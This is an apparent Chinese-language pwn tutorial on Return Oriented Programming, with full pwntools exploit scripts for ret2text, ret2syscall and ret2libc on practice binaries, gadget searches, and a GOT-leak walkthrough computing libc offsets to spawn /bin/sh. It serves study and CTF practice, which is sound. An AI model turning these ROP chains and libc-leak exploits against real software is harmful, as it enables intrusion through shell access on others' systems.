**ROP:**全程Return Oriented Programming(面向返回的编程),在栈溢出基础上,利用程序中已有的小片段(gadgets),改变寄存器或变量的值,从而控制程序执行流程,从而绕过NX防御,常见有ret2text,ret2syscall,ret2libc(最常用)…
**gadgets:**以ret结尾的指令序列,通过这些序列可以修改某些地址的内容。
ROP攻击满足的条件:
1.存在溢出,且可以控制返回地址
2.满足条件的gadgets。
工具:ROPgadget,ropper
方法
ROPgadget --binary file --only "pop|ret"
ropper -f ./ file --search "pop|ret"
ret2text
ret2text:控制已有代码,获得shell;
查看防护;
开了NX,没法用shellcode攻击。
ida查看源码
溢出地址;
偏移有了。
exp:
from pwn import *
p=process("./ret2text")
p.recvuntil("do you know anything?\n")
payload=b"a"*112+p32(0x804863a)
p.sendline(payload)
p.interactive()
ret2syscall
执行gadgets改变寄存器的值;
间接执行execve(“/bin/sh”,NULL,NULL)
32位:
1.eax=0xb
2.ebx为"/bin/sh"字符串地址
3.ecx,edx设为0;
常用gadgets:
pop eax;ret;
pop ebx;ret;
pop ecx; pop edx; ret;
int 0x80;
64位
1.rax=0x3b
2.RDI为"/bin/sh"字符串地址
3.RSI,Rdx设为0;
常用gadgets:
pop rax;ret;
pop rdi;ret;
pop esi; pop rdx; ret;
syscall;
ropper -f ./ret2syscall --search "int 0x80"
先查找是否存在系统调用
存在系统调用,查找“pop和ret”
ropper -f ./ret2syscall --search "pop|ret"
找到了一条比较简单的可以更改eax的指令;
还有一条一次性更改三个寄存器的值的.
容易调试出
exp:
from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal','-x','sh','-c']
p=process("./ret2syscall")
pop_eax_ret=0x080bb196#更改eax指令的地址
pop_edx_ecx_ebx_ret =0x0806eb90
int_0x80 = 0x08049421
bin_sh_addr = 0x80be408#该字符地址在ida中可查
payload = b"a"*112 + p32(pop_eax_ret) #首先112个字符偏移,后面跟上eax赋值的地址
payload += p32(0xb) + p32(pop_edx_ecx_ebx_ret) #再跟上0xb赋值给eax,然后是edx ecx ebx ret的操作地址
payload += p32(0) + p32(0) + p32(bin_sh_addr)#按照指令操作的顺序,edx ecx赋值0,ebx位/bin/sh地址。
payload += p32(int_0x80)#再加上系统调用指令的地址
p.sendline(payload)
p.interactive()
ret2libc
控制函数执行libc(动态链接库)中的函数,通常是返回某个函数的plt处或者函数的实际地址。
执行system(“/bin/sh”),要知道system地址,即字符串地址;
32位程序栈中,函数地址后面紧跟返回地址,然后是参数。
64位同样遵循,但是64位中前六个参数会依次放入RDI,RSI,RDX,RCX,R8,R9等,第7个才会入栈。
32位有system调用,有字符串
ida分析,有gets溢出,有system函数调用,还有字符串。
checksec发现打开了NX防护,没法对内存操作;
溢出知偏移为120;
看一下system的plt地址
system_plt=0x8048460
字符串地址
add=0x8048720
exp:
from pwn import *
p=process("./ret2libc1")
payload=b"a"*112+p32(0x8048460)+b"xxxx"+p32(0x8048720)
p.sendline(payload)
p.interactive()
无system调用,无字符串
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
p = process("./ret2libc2")
if args.G:
gdb.attach(p)
gets_plt = 0x8048440
puts_plt = 0x8048460#puts函数地址
main_addr = 0x8048618
puts_got = 0x804a018
#不知道sysyem函数地址,想办法泄露sys地址,通过程序中任意一个输出函数,输出函数的got表,got表存放函数的真实地址,可以通过pwngdb>got看到,会显示运行过的函数地址
p.recvuntil("Can you find it !?")
payload = b"a"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
#返回地址设为puts函数,然后执行main函数,puts_got作为puts函数的参数输出
p.sendline(payload)
puts_addr = u32(p.recv(4))
#接受输出的puts函数在got表中的地址
libc_addr = puts_addr - 0x67d90
#libc中的相对偏移地址不会变,所以得到了此次的puts地址减去这个固定偏移量就知道libc的地址
system_addr = libc_addr + 0x3d3d0
#libc地址家加上system函数的偏移就可以得到
bin_sh_addr = libc_addr + 0x17e1db
#同理
success("puts_addr: " + hex(puts_addr))
success("system_addr: " + hex(system_addr))
success("bin_sh_addr: " + hex(bin_sh_addr))
p.recvuntil("Can you find it !?")
payload1 = b"a"*104 + p32(system_addr) + b"xxxx" + p32(bin_sh_addr)
#直接找函数地址的exp写法
#payload1 = b"a"*104 + p32(gets_plt) + p32(system_addr) + p32(0x804a020) + p32(0x804a020)
#另外一种写法
p.sendline(payload1)
'''
sleep(0.2)
p.sendline("/bin/sh\x00")
'''
p.interactive()
查看函数真实地址
got
后面的就是函数真实地址,再查找libc的基地址
vmmap
基地址为0xf7ddd000
例如printf的偏移为0x51520
p/x 0xf7e2e520-0xf7ddd000
找到system此时got表的地址
p system
为0xf7e1a3d0,由此可以得到system的偏移
p/x 0xf7e1a3d0-0xf7ddd000
$9 = 0x3d3d0
puts的偏移
pwndbg> p/x 0xf7e44d90-0xf7ddd000
$7 = 0x67d90
字符串偏移
pwndbg> search "/bin/sh"
Searching for value: '/bin/sh'
libc-2.27.so 0xf7f5b1db das /* '/bin/sh' */
pwndbg> p/x 0xf7f5b1db-0xf7ddd000
$10 = 0x17e1db
总结:首先找到任意函数的got表,这里用的是puts_got,然后用改函数真实地址减去libc基地址得到一个偏移,那么在程序中,我们就可以通过得到改函数got表地址减去偏移,得到libc基地址。找到system偏移地址,找到字符串偏移地址。